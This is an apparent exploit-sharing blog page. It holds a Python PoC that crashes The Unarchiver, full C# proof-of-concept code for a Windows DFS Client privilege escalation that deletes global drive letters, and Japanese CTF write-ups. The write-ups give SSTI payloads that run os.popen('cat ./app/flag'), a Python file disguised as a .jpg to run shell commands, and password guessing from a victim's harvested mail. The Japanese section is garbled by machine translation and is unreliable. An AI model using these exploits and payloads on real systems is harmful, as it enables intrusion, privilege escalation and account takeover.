Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863291411

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: The Unarchiver 3.11.1 '.tar.Z' Local Crash PoC
# Date: 10-17-2016
# Exploit Author: Antonio Z.
# Vendor Homepage: http://unarchiver.c3.cx/unarchiver
# Software Link: http://unarchiver.c3.cx/downloads/TheUnarchiver3.11.1.zip
# Version: 3.11.1
# Tested on: OS X 10.10, OS X 10.11, OS X 10.12

# More information: https://opensource.apple.com/source/gnuzip/gnuzip-11/gzip/lzw.h

import os, struct, sys
from mmap import mmap

if len(sys.argv) <= 1:
    print "Usage: python Local_Crash_PoC.py [file name]"
    exit()

file_name = sys.argv[1]
file_mod = open(file_name, 'r+b')
file_hash = file_mod.read()

def get_extension(file_name):
    basename = os.path.basename(file_name)
    extension = '.'.join(basename.split('.')[1:])
    return '.' + extension if extension else None

def file_maping():
    maping = mmap(file_mod.fileno(),0)
    maping.seek(2)
    maping.write_byte(struct.pack('B', 255))
    maping.close()
    
new_file_name = "Local_Crash_PoC" + get_extension(file_name)
    
os.popen('cp ' + file_name + ' ' + new_file_name)
file_mod = open(new_file_name, 'r+b')
file_maping()
file_mod.close()
print '[+] ' + 'Created file: ' + new_file_name
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=885

Windows: DFS Client Driver Arbitrary Drive Mapping EoP
Platform: Windows 10 10586, Edge 25.10586.0.0 not tested 8.1 Update 2 or Windows 7
Class: Elevation of Privilege

Summary:
The DFS Client driver and running by default insecurely creates and deletes drive letter symbolic links in the current user context leading to EoP.

Description:

The DFS Client driver is used to map DFS shares. The device path is accessible by a normal user and the two IOCTL DfscFsctrlCreateDriveLetter and DfscFsctrlRemoveDriveLetter are marked as FILE_ANY_ACCESS so even through we only have read permission on the device they’re allowed.

When mapping a DFS share the driver calls DfscCreateSymbolicLink to create a drive letter symbolic link. The drive letter is entirely under the user’s control and other than checking it’s a letter no other verification takes place. This function calls ZwCreateSymbolicLinkObject without specifying OBJ_FORCE_ACCESS_CHECK meaning it disables access checking. As it’s creating the name \??\X: rather than an explicit directory we can use per-process device maps to trick the driver into creating the symbolic link in any directory the user has read access to (the only limit on setting a per-process device map).

In contrast when unmapping DfscDeleteSymbolicLink is called which calls ZwOpenSymbolicLinkObject without specifying OBJ_FORCE_ACCESS_CHECK. This means we can delete any drive letter symbolic link by first mounting a DFS share with a drive letter we want to delete, then either removing the letter from our current user dos devices directory, or switching our per-process drive map to point to \GLOBAL?? then unmapping.

By combining the two we can do something like deleting the C: drive, then mounting a DFS share in its place and get some system level code to run something from the C: drive to get elevated privileges. We don’t even need to control the DFS share as once we’ve created the new C: drive symbolic link we have delete privileges on the object. We can use a behaviour of CSRSS’s DosDevice creation code which disables security if it can open the symbolic link for DELETE access while impersonating the user and the path to the link starts with \GLOBAL??. So we could redirect the C: drive link to any local location we like.

Worth nothing this is almost the exact same bug I found in Truecrypt (https://bugs.chromium.org/p/project-zero/issues/detail?id=538). At least they tried to not mount over existing drive letters requiring more effort :-)

I’ve not been able to work out if it’s possible to do this without requiring a DFS share (although for an internet connected system you might be able to point it at almost anywhere). I also don’t know if it needs to be domain joined, the driver is running though on a normal system. It seems to fail verifying the credentials, at least pointed to localhost SMB service. But perhaps it’ll work somehow. 

Proof of Concept:

I’ve provided a PoC as a C# source code file. You need to compile with .NET 4 or higher. Note you must compile as Any CPU or at least the correct bitness for the system under test other setting the dos devices directory has a habit of failing. You’ll need to have access to a DFS share somewhere, which might mean the test system needs to be domain joined. 

The PoC will just delete an existing drive mapping you specify. For example you could specify C: drive, although that’ll make the system not work so well afterwards. 

1) Compile the C# source code file.
2) Execute the poc passing the path to an existing DFS share and the drive letter to delete e.g. poc \\server\share X:
3) It should successfully delete the drive letter from \GLOBAL??. 

Expected Result:
Create drive letter anywhere the user can’t normally access should fail

Observed Result:
The user can create and delete arbitrary global drive letters.
*/

using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
using System.Text;

namespace DfscTest
{
    class Program
    {
        [Flags]
        public enum AttributeFlags : uint
        {
            None = 0,
            Inherit = 0x00000002,
            Permanent = 0x00000010,
            Exclusive = 0x00000020,
            CaseInsensitive = 0x00000040,
            OpenIf = 0x00000080,
            OpenLink = 0x00000100,
            KernelHandle = 0x00000200,
            ForceAccessCheck = 0x00000400,
            IgnoreImpersonatedDevicemap = 0x00000800,
            DontReparse = 0x00001000,
        }

        public class IoStatus
        {
            public IntPtr Pointer;
            public IntPtr Information;

            public IoStatus()
            {
            }

            public IoStatus(IntPtr p, IntPtr i)
            {
                Pointer = p;
                Information = i;
            }
        }

        [Flags]
        public enum ShareMode
        {
            None = 0,
            Read = 0x00000001,
            Write = 0x00000002,
            Delete = 0x00000004,
        }

        [Flags]
        public enum FileOpenOptions
        {
            None = 0,
            DirectoryFile = 0x00000001,
            WriteThrough = 0x00000002,
            SequentialOnly = 0x00000004,
            NoIntermediateBuffering = 0x00000008,
            SynchronousIoAlert = 0x00000010,
            SynchronousIoNonAlert = 0x00000020,
            NonDirectoryFile = 0x00000040,
            CreateTreeConnection = 0x00000080,
            CompleteIfOplocked = 0x00000100,
            NoEaKnowledge = 0x00000200,
            OpenRemoteInstance = 0x00000400,
            RandomAccess = 0x00000800,
            DeleteOnClose = 0x00001000,
            OpenByFileId = 0x00002000,
            OpenForBackupIntent = 0x00004000,
            NoCompression = 0x00008000,
            OpenRequiringOplock = 0x00010000,
            ReserveOpfilter = 0x00100000,
            OpenReparsePoint = 0x00200000,
            OpenNoRecall = 0x00400000,
            OpenForFreeSpaceQuery = 0x00800000
        }

        [Flags]
        public enum GenericAccessRights : uint
        {
            None = 0,
            GenericRead = 0x80000000,
            GenericWrite = 0x40000000,
            GenericExecute = 0x20000000,
            GenericAll = 0x10000000,
            Delete = 0x00010000,
            ReadControl = 0x00020000,
            WriteDac = 0x00040000,
            WriteOwner = 0x00080000,
            Synchronize = 0x00100000,
            MaximumAllowed = 0x02000000,
        };


        [Flags]
        enum DirectoryAccessRights : uint
        {
            Query = 1,
            Traverse = 2,
            CreateObject = 4,
            CreateSubDirectory = 8,
            GenericRead = 0x80000000,
            GenericWrite = 0x40000000,
            GenericExecute = 0x20000000,
            GenericAll = 0x10000000,
            Delete = 0x00010000,
            ReadControl = 0x00020000,
            WriteDac = 0x00040000,
            WriteOwner = 0x00080000,
            Synchronize = 0x00100000,
            MaximumAllowed = 0x02000000,
        }

        [Flags]
        public enum ProcessAccessRights : uint
        {
            None = 0,
            CreateProcess = 0x0080,
            CreateThread = 0x0002,
            DupHandle = 0x0040,
            QueryInformation = 0x0400,
            QueryLimitedInformation = 0x1000,
            SetInformation = 0x0200,
            SetQuota = 0x0100,
            SuspendResume = 0x0800,
            Terminate = 0x0001,
            VmOperation = 0x0008,
            VmRead = 0x0010,
            VmWrite = 0x0020,
            MaximumAllowed = GenericAccessRights.MaximumAllowed
        };

        [Flags]
        public enum FileAccessRights : uint
        {
            None = 0,
            ReadData = 0x0001,
            WriteData = 0x0002,
            AppendData = 0x0004,
            ReadEa = 0x0008,
            WriteEa = 0x0010,
            Execute = 0x0020,
            DeleteChild = 0x0040,
            ReadAttributes = 0x0080,
            WriteAttributes = 0x0100,
            GenericRead = 0x80000000,
            GenericWrite = 0x40000000,
            GenericExecute = 0x20000000,
            GenericAll = 0x10000000,
            Delete = 0x00010000,
            ReadControl = 0x00020000,
            WriteDac = 0x00040000,
            WriteOwner = 0x00080000,
            Synchronize = 0x00100000,
            MaximumAllowed = 0x02000000,
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public sealed class UnicodeString
        {
            ushort Length;
            ushort MaximumLength;
            [MarshalAs(UnmanagedType.LPWStr)]
            string Buffer;

            public UnicodeString(string str)
            {
                Length = (ushort)(str.Length * 2);
                MaximumLength = (ushort)((str.Length * 2) + 1);
                Buffer = str;
            }
        }

        [DllImport("ntdll.dll")]
        static extern int NtClose(IntPtr handle);

        public sealed class SafeKernelObjectHandle
          : SafeHandleZeroOrMinusOneIsInvalid
        {
            public SafeKernelObjectHandle()
              : base(true)
            {
            }

            public SafeKernelObjectHandle(IntPtr handle, bool owns_handle)
              : base(owns_handle)
            {
                SetHandle(handle);
            }

            protected override bool ReleaseHandle()
            {
                if (!IsInvalid)
                {
                    NtClose(this.handle);
                    this.handle = IntPtr.Zero;
                    return true;
                }
                return false;
            }
        }

        public enum SecurityImpersonationLevel
        {
            Anonymous = 0,
            Identification = 1,
            Impersonation = 2,
            Delegation = 3
        }

        public enum SecurityContextTrackingMode : byte
        {
            Static = 0,
            Dynamic = 1
        }

        [StructLayout(LayoutKind.Sequential)]
        public sealed class SecurityQualityOfService
        {
            int Length;
            public SecurityImpersonationLevel ImpersonationLevel;
            public SecurityContextTrackingMode ContextTrackingMode;
            [MarshalAs(UnmanagedType.U1)]
            public bool EffectiveOnly;

            public SecurityQualityOfService()
            {
                Length = Marshal.SizeOf(this);
            }
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public sealed class ObjectAttributes : IDisposable
        {
            int Length;
            IntPtr RootDirectory;
            IntPtr ObjectName;
            AttributeFlags Attributes;
            IntPtr SecurityDescriptor;
            IntPtr SecurityQualityOfService;

            private static IntPtr AllocStruct(object s)
            {
                int size = Marshal.SizeOf(s);
                IntPtr ret = Marshal.AllocHGlobal(size);
                Marshal.StructureToPtr(s, ret, false);
                return ret;
            }

            private static void FreeStruct(ref IntPtr p, Type struct_type)
            {
                Marshal.DestroyStructure(p, struct_type);
                Marshal.FreeHGlobal(p);
                p = IntPtr.Zero;
            }

            public ObjectAttributes() : this(AttributeFlags.None)
            {
            }

            public ObjectAttributes(string object_name, AttributeFlags attributes) : this(object_name, attributes, null, null, null)
            {
            }

            public ObjectAttributes(AttributeFlags attributes) : this(null, attributes, null, null, null)
            {
            }

            public ObjectAttributes(string object_name) : this(object_name, AttributeFlags.CaseInsensitive, null, null, null)
            {
            }

            public ObjectAttributes(string object_name, AttributeFlags attributes, SafeKernelObjectHandle root, SecurityQualityOfService sqos, GenericSecurityDescriptor security_descriptor)
            {
                Length = Marshal.SizeOf(this);
                if (object_name != null)
                {
                    ObjectName = AllocStruct(new UnicodeString(object_name));
                }
                Attributes = attributes;
                if (sqos != null)
                {
                    SecurityQualityOfService = AllocStruct(sqos);
                }
                if (root != null)
                    RootDirectory = root.DangerousGetHandle();
                if (security_descriptor != null)
                {
                    byte[] sd_binary = new byte[security_descriptor.BinaryLength];
                    security_descriptor.GetBinaryForm(sd_binary, 0);
                    SecurityDescriptor = Marshal.AllocHGlobal(sd_binary.Length);
                    Marshal.Copy(sd_binary, 0, SecurityDescriptor, sd_binary.Length);
                }
            }

            public void Dispose()
            {
                if (ObjectName != IntPtr.Zero)
                {
                    FreeStruct(ref ObjectName, typeof(UnicodeString));
                }
                if (SecurityQualityOfService != IntPtr.Zero)
                {
                    FreeStruct(ref SecurityQualityOfService, typeof(SecurityQualityOfService));
                }
                if (SecurityDescriptor != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(SecurityDescriptor);
                    SecurityDescriptor = IntPtr.Zero;
                }
                GC.SuppressFinalize(this);
            }

            ~ObjectAttributes()
            {
                Dispose();
            }
        }

        [DllImport("ntdll.dll")]
        public static extern int NtOpenFile(
            out IntPtr FileHandle,
            FileAccessRights DesiredAccess,
            ObjectAttributes ObjAttr,
            [In] [Out] IoStatus IoStatusBlock,
            ShareMode ShareAccess,
            FileOpenOptions OpenOptions);

        public static void StatusToNtException(int status)
        {
            if (status < 0)
            {
                throw new NtException(status);
            }
        }

        public class NtException : ExternalException
        {
            [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
            private static extern IntPtr GetModuleHandle(string modulename);

            [Flags]
            enum FormatFlags
            {
                AllocateBuffer = 0x00000100,
                FromHModule = 0x00000800,
                FromSystem = 0x00001000,
                IgnoreInserts = 0x00000200
            }

            [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
            private static extern int FormatMessage(
              FormatFlags dwFlags,
              IntPtr lpSource,
              int dwMessageId,
              int dwLanguageId,
              out IntPtr lpBuffer,
              int nSize,
              IntPtr Arguments
            );

            [DllImport("kernel32.dll")]
            private static extern IntPtr LocalFree(IntPtr p);

            private static string StatusToString(int status)
            {
                IntPtr buffer = IntPtr.Zero;
                try
                {
                    if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts,
                        GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0)
                    {
                        return Marshal.PtrToStringUni(buffer);
                    }
                }
                finally
                {
                    if (buffer != IntPtr.Zero)
                    {
                        LocalFree(buffer);
                    }
                }
                return String.Format("Unknown Error: 0x{0:X08}", status);
            }

            public NtException(int status) : base(StatusToString(status))
            {
            }
        }

        public class SafeHGlobalBuffer : SafeHandleZeroOrMinusOneIsInvalid
        {
            public SafeHGlobalBuffer(int length)
              : this(Marshal.AllocHGlobal(length), length, true)
            {
            }

            public SafeHGlobalBuffer(IntPtr buffer, int length, bool owns_handle)
              : base(owns_handle)
            {
                Length = length;
                SetHandle(buffer);
            }

            public int Length
            {
                get; private set;
            }

            protected override bool ReleaseHandle()
            {
                if (!IsInvalid)
                {
                    Marshal.FreeHGlobal(handle);
                    handle = IntPtr.Zero;
                }
                return true;
            }
        }

        public class SafeStructureBuffer : SafeHGlobalBuffer
        {
            Type _type;

            public SafeStructureBuffer(object value) : base(Marshal.SizeOf(value))
            {
                _type = value.GetType();
                Marshal.StructureToPtr(value, handle, false);
            }

            protected override bool ReleaseHandle()
            {
                if (!IsInvalid)
                {
                    Marshal.DestroyStructure(handle, _type);
                }
                return base.ReleaseHandle();
            }
        }

        public class SafeStructureOutBuffer<T> : SafeHGlobalBuffer
        {
            public SafeStructureOutBuffer() : base(Marshal.SizeOf(typeof(T)))
            {
            }

            public T Result
            {
                get
                {
                    if (IsInvalid)
                        throw new ObjectDisposedException("handle");

                    return Marshal.PtrToStructure<T>(handle);
                }
            }
        }

        public static SafeFileHandle OpenFile(string name, FileAccessRights DesiredAccess, ShareMode ShareAccess, FileOpenOptions OpenOptions, bool inherit)
        {
            AttributeFlags flags = AttributeFlags.CaseInsensitive;
            if (inherit)
                flags |= AttributeFlags.Inherit;
            using (ObjectAttributes obja = new ObjectAttributes(name, flags))
            {
                IntPtr handle;
                IoStatus iostatus = new IoStatus();
                int status = NtOpenFile(out handle, DesiredAccess, obja, iostatus, ShareAccess, OpenOptions);
                StatusToNtException(status);
                return new SafeFileHandle(handle, true);
            }
        }

        [DllImport("ntdll.dll")]
        public static extern int NtDeviceIoControlFile(
          SafeFileHandle FileHandle,
          IntPtr Event,
          IntPtr ApcRoutine,
          IntPtr ApcContext,
          [Out] IoStatus IoStatusBlock,
          uint IoControlCode,
          byte[] InputBuffer,
          int InputBufferLength,
          byte[] OutputBuffer,
          int OutputBufferLength
        );

        [DllImport("ntdll.dll")]
        public static extern int NtFsControlFile(
          SafeFileHandle FileHandle,
          IntPtr Event,
          IntPtr ApcRoutine,
          IntPtr ApcContext,
          [Out] IoStatus IoStatusBlock,
          uint FSControlCode,
          [In] byte[] InputBuffer,
          int InputBufferLength,
          [Out] byte[] OutputBuffer,
          int OutputBufferLength
        );

        [DllImport("ntdll.dll")]
        static extern int NtCreateDirectoryObject(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes);

        [DllImport("ntdll.dll")]
        static extern int NtOpenDirectoryObject(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes);

        const int ProcessDeviceMap = 23;
        
        [DllImport("ntdll.dll")]
        static extern int NtSetInformationProcess(
	        IntPtr ProcessHandle,
	        int ProcessInformationClass,
            byte[] ProcessInformation,
            int ProcessInformationLength);
        
        const uint CREATE_DRIVE_LETTER = 0x601E0;
        const uint DELETE_DRIVE_LETTER = 0x601E4;

        [StructLayout(LayoutKind.Sequential)]
        struct DFsCreateDriveParameters
        {
            public ushort unk0;    // 0
            public ushort flags;    // 1
            public uint   some_cred_value;    // 2            
            public ushort drive_path_length;    // 4  - Length of drive letter path
            public ushort dfs_path_length;    // 5 - Can't be zero, think this is length of DFS path
            public ushort creds_length;    // 6
            public ushort password_length;    // 7 - If set this + 2 must be < length 3
            public ushort length_5;    // 8
            public ushort length_6;    // 9
            // From here is the data            
        }

        static byte[] StructToBytes(object o)
        {
            int size = Marshal.SizeOf(o);
            IntPtr p = Marshal.AllocHGlobal(size);
            try
            {
                Marshal.StructureToPtr(o, p, false);
                byte[] ret = new byte[size];
                Marshal.Copy(p, ret, 0, size);
                return ret;
            }
            finally
            {
                if (p != IntPtr.Zero)
                    Marshal.FreeHGlobal(p);
            }
        }

        static byte[] GetBytes(string s)
        {
            return Encoding.Unicode.GetBytes(s + "\0");
        }

        static void MountDfsShare(string dfs_path, string drive_path)
        {
            using (SafeFileHandle handle = OpenFile(@"\Device\DfsClient", FileAccessRights.MaximumAllowed, ShareMode.None, FileOpenOptions.None, false))
            {
                IoStatus status = new IoStatus();

                byte[] dfs_path_bytes = GetBytes(dfs_path);
                byte[] drive_path_bytes = GetBytes(drive_path);
                DFsCreateDriveParameters create_drive = new DFsCreateDriveParameters();

                create_drive.drive_path_length = (ushort)drive_path_bytes.Length;
                create_drive.dfs_path_length = (ushort)dfs_path_bytes.Length;

                List<byte> buffer = new List<byte>();
                buffer.AddRange(StructToBytes(create_drive));
                buffer.AddRange(drive_path_bytes);
                buffer.AddRange(dfs_path_bytes);

                StatusToNtException(NtFsControlFile(handle, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, status, CREATE_DRIVE_LETTER, buffer.ToArray(), buffer.Count, new byte[0], 0));
            }
        }

        static void UnmountDfsShare(string drive_path)
        {
            using (SafeFileHandle handle = OpenFile(@"\Device\DfsClient", FileAccessRights.MaximumAllowed, ShareMode.None, FileOpenOptions.None, false))
            {
                List<byte> buffer = new List<byte>();
                buffer.AddRange(new byte[4]);
                buffer.AddRange(GetBytes(drive_path));                
                byte[] output_data = new byte[8];
                IoStatus status = new IoStatus();
                StatusToNtException(NtFsControlFile(handle, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero,
                    status, DELETE_DRIVE_LETTER, buffer.ToArray(), buffer.Count, output_data, output_data.Length));
            }
        }

        static SafeKernelObjectHandle CreateDirectory(string path)
        {
            using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive))
            {
                IntPtr handle;
                StatusToNtException(NtCreateDirectoryObject(out handle, DirectoryAccessRights.GenericAll, obja));
                return new SafeKernelObjectHandle(handle, true);
            }
        }

        static SafeKernelObjectHandle OpenDirectory(string path)
        {
            using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive))
            {
                IntPtr handle;
                StatusToNtException(NtOpenDirectoryObject(out handle, DirectoryAccessRights.MaximumAllowed, obja));
                return new SafeKernelObjectHandle(handle, true);
            }
        }

        [DllImport("ntdll.dll")]
        static extern int NtOpenSymbolicLinkObject(
            out IntPtr LinkHandle,
            GenericAccessRights DesiredAccess,
            ObjectAttributes ObjectAttributes
        );

        [DllImport("ntdll.dll")]
        static extern int NtMakeTemporaryObject(SafeKernelObjectHandle ObjectHandle);

        static SafeKernelObjectHandle OpenSymbolicLink(SafeKernelObjectHandle directory, string path, GenericAccessRights access_rights)
        {
            using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive, directory, null, null))
            {
                IntPtr handle;
                if (NtOpenSymbolicLinkObject(out handle, access_rights, obja) != 0)
                {
                    return null;
                }

                return new SafeKernelObjectHandle(handle, true);
            }
        }

        static void SetDosDirectory(SafeKernelObjectHandle directory)
        {
            IntPtr p = directory.DangerousGetHandle();
            byte[] data = null;
            if (IntPtr.Size == 4)
            {
                data = BitConverter.GetBytes(p.ToInt32());
            }
            else
            {
                data = BitConverter.GetBytes(p.ToInt64());
            }

            StatusToNtException(NtSetInformationProcess(new IntPtr(-1), ProcessDeviceMap, data, data.Length));
        }

        static void Main(string[] args)
        {
            try
            {
                if (args.Length < 2)
                {
                    Console.WriteLine(@"DeleteGlobalDrivePoC \\dfs\share X:");
                    return;
                }

                string dfs_path = args[0];
                string drive_path = args[1];

                if (!Path.IsPathRooted(dfs_path) || !dfs_path.StartsWith(@"\\"))
                    throw new ArgumentException("DFS path must be a UNC path");
                if (drive_path.Length != 2 || !Char.IsLetter(drive_path[0]) || drive_path[1] != ':')
                    throw new ArgumentException("Drive letter must of form X:");

                SafeKernelObjectHandle dir = CreateDirectory(null);

                SafeKernelObjectHandle global = OpenDirectory(@"\GLOBAL??");
                using (SafeKernelObjectHandle symlink = OpenSymbolicLink(global, drive_path, GenericAccessRights.GenericRead))
                {
                    if (symlink == null)
                    {
                        Console.WriteLine("[ERROR]: Drive letter does existing in global device directory");
                        return;
                    }                    
                }

                SetDosDirectory(dir);
                MountDfsShare(dfs_path, drive_path);
                SetDosDirectory(global);
                UnmountDfsShare(drive_path);

                using (SafeKernelObjectHandle symlink = OpenSymbolicLink(global, drive_path, GenericAccessRights.GenericRead))
                {
                    if (symlink == null)
                    {
                        Console.WriteLine("[SUCCESS]: Deleted the {0} symlink", drive_path);
                    }
                    else
                    {
                        Console.WriteLine("[ERROR]: Symlink still in global directory");
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine("[ERROR]: {0}", ex.Message);
            }
        }
    }
}
            

質問名:simple_ssti_2質問wirteup:は疑問シナリオを開始し、射撃場のウェブサイトを取得し、ウェブサイトにアクセスします。ページは、URL接続をFLAGパラメーターhttp://114.67.246.176:19131/1049983-20211215170753560-1742163934.pngに関連付けます。 SSTIコンストラクト、パラメーターコンストラクトフラグ={{3+2}}、エラーが報告されており、Flaskhttp://114.67.246.176:19131/?flag={{3+2}} 1049983-20211215170753973-1147925365.pngも{1049983-20211215170753973-1147925365.png {3*2を掲載している}を構築するために試行されました。システムにSSTIの脆弱性があることhttp://114.67.246.176:19131/?flag={{3*2}} 1049983-20211215170754373-1942425992.png構成変数を介してフラスコの構成情報を表示すると、利用可能な点はありません。 http://114.67.246.176336019131/?flag={{config}} 1049983-20211215170754937-1633019011.png pass {{config .__ class __.__ init __.__グローバル__ ['os']。表示するには1つずつ入力してください。私が見た最初のアプリフォルダーには、Flag ## __ Class__:変数が属するクラスを表示するために使用されることがわかりました。以前の変数フォームによると、それが属するクラスを取得できます。 ## __ init_ __クラスの初期化、返されたタイプは関数です## __グローバル__ []使用法は関数名です。__Globals__Globals__モジュール、メソッド、および関数が配置されている空間で使用できるすべての変数を取得します。 ## os.popen()メソッドは、コマンドからパイプラインを開くために使用されます。

## open()メソッドはファイルを開き、ファイルオブジェクトhttp://114.67.246.176:19131/?flag={{%20config .__ class __.__ init __.__グローバル__ [%27os%27] .popen(%27ls%20 ./です。1049983-20211215170755329-1298923557.pngby {{config .__ class __.__ init __.__ Globals __ ['os']。popen( 'ls ./app')。read()}}アプリディレクトリのファイルを読み取り、フラグファイルがあることを見つけますhttp://114.67.246.176336019131/?flag={{%20config .__ class __.__ init __.__グローバル__ [%27os%27] .popen(%27ls%20 ./app%27)。 config .__クラス__ .__ init __.__グローバル__ ['os']。popen( 'cat ./app/flag')。read()}} flag contenthttp://114.67.246.176336019131/?flag={{%20config .__ class __.__ init __.__グローバル__ [%27os%27] .popen(%27cat%20 ./app/app%27) flag:flag {fcf301ac393f22215b3664d749c2d875e}タイトル名:flask_fileupload question witeup:3http://114.67.246.176:12896/JPGおよびPNGファイル名フォーマットをアップロードすることができ、ファイルコンテンツはPython View-Source:33http://114.67.246.176:12896/1049983-20211215170756809-381737825.pngSystem機能が操作を命令に変換することができます。原則は、各システム関数が実行されると、システム上のコマンドラインを実行するための子プロセスを作成し、子プロセスの実行結果がメインプロセスに影響を与えることができないということです。 OS.SystemメソッドはOSモジュールの最も基本的な方法であり、他の方法は一般にこの方法に基づいてカプセル化されています。ここで、PythonのOSパッケージのシステム関数を使用してフラグを読み取ります。ここで、test.jpgをアップロードします。これは、WebサイトルートディレクトリインポートOSを読み取ります

os.system( 'ls /')

正常にアップロードし、ソースコードを確認し、システムWebサイトのルートディレクトリが存在することを見つけ、ルートディレクトリにフラグファイルが含まれていることがわかります

1049983-20211215170757165-1220690341.png 1049983-20211215170757525-1275849476.pngフラグを表示

OSをインポートします

os.system( 'cat /flag')

正常にアップロードし、ソースコードを確認し、フラグコンテンツ1049983-20211215170757927-2024492077.pngfinally flag:flag {e541f3aadc95575ed6b6832b7ca34e327}質問名:計算機質問コンテンツ:emply cublish cublect writefification you shine other other cultions chanios get to emoling need exigate need emain fist necisit need fish firtingフラグを取得するためのコード、F12要素のレビューに合格し、ソースコードにcode.js3333333334.67.246.1763:16139/1049983-20211215170758514-1404340057.pngView code.js、JS、FALGコンテンツ3http://114.67.246.176:1139/JS/js 1049983-20211215170758956-219692258.pngついにflag:flag {e5d6e3fe29850f7fec9ea6ef55f86050}質問名:質問コンテンツ:flag {}質問wirteup3360は質問シーンを開始し、射撃範囲のウェブサイトを取得します。 http://114.67.246.176:13678/1049983-20211215170759310-817204845.pngは、単純なコード監査を実行し、HTTPに渡すことを発見します。どのパラメーター変数がフラグに等しい場合、フラグは出力されます。構造は次のとおりです。what=flag、flaghttp://114.67.246.176:13678/?what=flag 1049983-20211215170759684-1193150402.pngFLAG:FLAG {54790DBA4001F7DED2EBDE88CA82A3CAの質問:POSTS POSTES:POST POSTES:POST POSTES:シナリオ、射撃場のウェブサイトを取得し、ウェブサイトにアクセスし、PHPコードhttp://114.67.246.176:15053/1049983-20211215170800032-2036447816.pngが簡単なコード監査を実行し、HTTP投稿が渡されることを発見します。どのパラメーター変数がフラグに等しい場合、フラグは出力されます。構造は次のとおりです。http://114.67.246.176:15053/post: what=flag flag 1049983-20211215170800356-892244501.png final flag:flag {4335DD4CC7627848578D8026FB121AE}

質問名:矛盾した質問の書き込み:は質問シナリオを開始し、射撃場のウェブサイトを取得し、ウェブサイトにアクセスし、コードの簡単な分析を通じてPHPコード1049983-20211215170800678-284646805.pngであることがわかります。この関数は、変数が数字か文字列かを検出します。それが数字と文字列である場合、それはtrueを返し、それ以外の場合はfalseを返します。

このステートメントは、渡されるnumパラメーターが数値文字列ではなく、1に等しいことを意味します。

num==1の決定は2つの等しい兆候であり、弱いタイプの比較です。等記号の両側が異なる場合、比較前に同じタイプに変換されます。

弱いタイプの比較では、文字列が数字と比較されると、文字列は数字に変換され、文字の前に数値を保持します。たとえば、123AB7Cは123に変換され、AB7Cは0に変換されます(文字の前には数がありません、0です)。

http://114.67.246.176336016671/?num=1a

1049983-20211215170801086-1113500528.pngFINALLY FLAG:FLAG {D95C4676FD2740A47E0393CF3364E3E3 Windowhttp://114.67.246.176:15743/1049983-20211215170801469-1858378092.pngソースコードを介してアクセスし、Webページソースコードをチェックし、コメント1049983-20211215170801984-383310401.pngで#から#から#から始まる#から始まるユニコードエンコードがあることを発見しました。 http://tool.chinaz.com/tools/unicode.aspx 1049983-20211215170802645-1444347535.pngpinally flag:flag {09EEC7218F68C04C87093052720C2C11}写真1049983-20211215170803098-1838834946.pngページのソースコードをチェックして、フラグが見つかりませんでしたが、ページ1049983-20211215170803493-840973381.pngがブプセットを介してパケットを登録し、最終的に応答ページのフラグコンテンツを繰り返し送信し、最終的にデータパケットを送信し、最終的にデータパケットを送信し続けるSciptスクリプトがあります。 flag:flag {ff9acfa3bbec16fe29b3ad5aef8f5421}質問名:ソーシャルワーカー - 質問コンテンツの予備収集:実際にはその他のアイテムです。その年の実際的な質問から、私は質問シナリオを開始し、射撃場のウェブサイトを取得し、ウェブサイトにアクセスし、それがドリルブラッシングWebサイトhttp://114.67.246.176:13506/#GOUMAI 1049983-20211215170804488-2120220421.jpgカタログスカンがYujianを介したターゲット射撃の範囲であることがわかりました。1049983-20211215170805031-1221335115.png Admin Directoryにアクセスし、実際にバックエンドがありました。 http://114.67.246.176336013506/admin/login.php 1049983-20211215170805472-324520940.png射撃場のホームページの下部にある場合、補助をダウンロードできます。ここでダウンロードできます。

image-20210531172109605

減圧後、仮想マシンで掘削プログラムを実行します。

image-20210531172614314

QQとパスワードを入力し、[開始]をクリックし、Wrisharkを使用してパケットを分析した後、ポップアップウィンドウを見つけました。

image-20210531173000092

パケットを慎重に観察すると、パケットメールとBase64暗号化されたパスがあることがわかります。

image-20210531173328676

base64の復号化はパスワードのように見えますが、長すぎますが、コードを承認したいと考えています。

image-20210531173713476

FOXMAILを開いてログインし、メールアドレスを入力してから、認証コードを入力してログインします。

image-20210531181535352

受信トレイを表示し、「トピック」でソートし、利用可能な情報が記載されたメールを見つけます

送信者がマラであることがわかります

配達時間は2021年で、今は20歳で、2001年に生まれると判断されることができます

また、それは2日前の誕生日だったと言われているので、誕生日は2月6日だと判断することができます

image-20210531174014354

ログインして入力してみてください:ユーザー名マラ、パスワードはMaryyの誕生日番号:20010206です

1049983-20211215170813635-1876128424.png

システムに正常にログインし、Webサイトの背景---プレーヤーキーのWebサイト設定を確認すると、フラグを取得できます

